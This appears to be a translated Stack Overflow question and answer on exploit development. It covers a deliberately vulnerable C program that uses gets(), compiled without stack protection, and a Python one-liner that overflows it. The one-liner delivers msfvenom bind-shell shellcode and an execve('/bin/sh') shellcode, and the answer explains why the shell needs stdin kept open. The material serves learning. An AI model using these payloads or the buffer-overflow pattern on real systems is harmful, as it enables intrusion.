c - 漏洞利用开发 - GETS 和 Shellcode

标签 c exploit shellcode gets

试图了解更多有关exploit dev和构建shellcode的知识,但遇到了一个问题,我不明白背后的原因。

为什么我不能运行诸如 execve("/bin/sh") 之类的 shellcode 并生成一个我可以与之交互的 shell?
另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。

示例程序:

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}

示例漏洞:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln

示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

测试了多个不同的 execve("/bin/sh") 样本,以及创建我自己的样本,然后编译它们以验证它们在将其用作有效负载之前是否有效。

如:https://www.exploit-db.com/exploits/42428/

最佳答案

当shellcode execve(/bin/sh) 执行时,它没有连接标准输入(因为GETS)并且会终止。

解决办法是关闭stdin描述符,在执行/bin/sh之前重新打开/dev/tty。

#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>

int main(void) {
    char buf[50];
    gets(buf);
    printf("Yo %s\n", buf);
    close(0);
    open("/dev/tty", O_RDWR | O_NOCTTY);
    execve ("/bin/sh", NULL, NULL);
}

相关答案:execve("/bin/sh", 0, 0); in a pipe

也可以通过使用执行有效载荷
( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln

关于c - 漏洞利用开发 - GETS 和 Shellcode,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/50305475/

相关文章:

exploit - 如何用python生成缓冲区溢出的有效负载?

python - Python 中的漏洞利用 - 操纵十六进制字符串

windows - Bash 'printf' 等同于命令提示符?

谁能给我解释一下这段代码?

segmentation-fault - 测试 shellcode 时出现段错误

c - 作业,在 C 结构体中分配指针

c++ - GCC:-O3 和 -Os 之间的区别

c - 在 C 程序中嵌入 Unix 日期

C - 访问结构数组

linux - 在 Linux 机器上创建和测试 x86-64 ELF 可执行 shellcode